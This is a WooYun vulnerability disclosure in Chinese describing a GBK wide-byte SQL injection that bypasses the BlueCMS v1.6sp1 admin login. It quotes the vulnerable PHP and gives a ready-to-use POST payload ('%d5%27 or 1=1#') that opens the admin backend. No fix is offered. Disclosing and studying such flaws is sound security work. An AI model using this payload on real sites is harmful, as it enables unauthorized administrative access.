当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-021082

漏洞标题:bluecms最新版本双字节万能密码进后台

相关厂商:BLUECMS

漏洞作者: 小贱人

提交时间:2013-04-01 17:13

修复时间:2013-06-30 17:14

公开时间:2013-06-30 17:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-01: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-06-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

bluecms最新版本即v1.6sp1,处理登录验证时对变量进行单引号转义,但可以用gbk 双字节编码闭合单引号再注释从而进入后台

详细说明:

bluecms验证登录代码如下

function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}


且变量进入check_admin函数前已被转义一次,无论MAGIC魔术棒是否开启

if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);


但问题出在这句上

if($this->dbversion() > '4.1'){
mysql_query( "SET NAMES gbk");
if($this->dbversion() > '5.0.1'){
mysql_query("SET sql_mode = ''",$this->linkid);
}


邪恶地笑了
打开后台登录,并准备抓包
用户名和密码随便输 比如jianren jianren
抓到的post变量为 admin_name=jianren&admin_pwd=jianren&submit=%B5%C7%C2%BC&act=do_login
修改为admin_name=jianren%d5%27%20or%201%3d1%23&admin_pwd=jianren&submit=%B5%C7%C2%BC&act=do_login

漏洞证明:

然后重放 芝麻开门

.jpg

修复方案:

你们比我懂

版权声明:转载请注明来源 小贱人@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝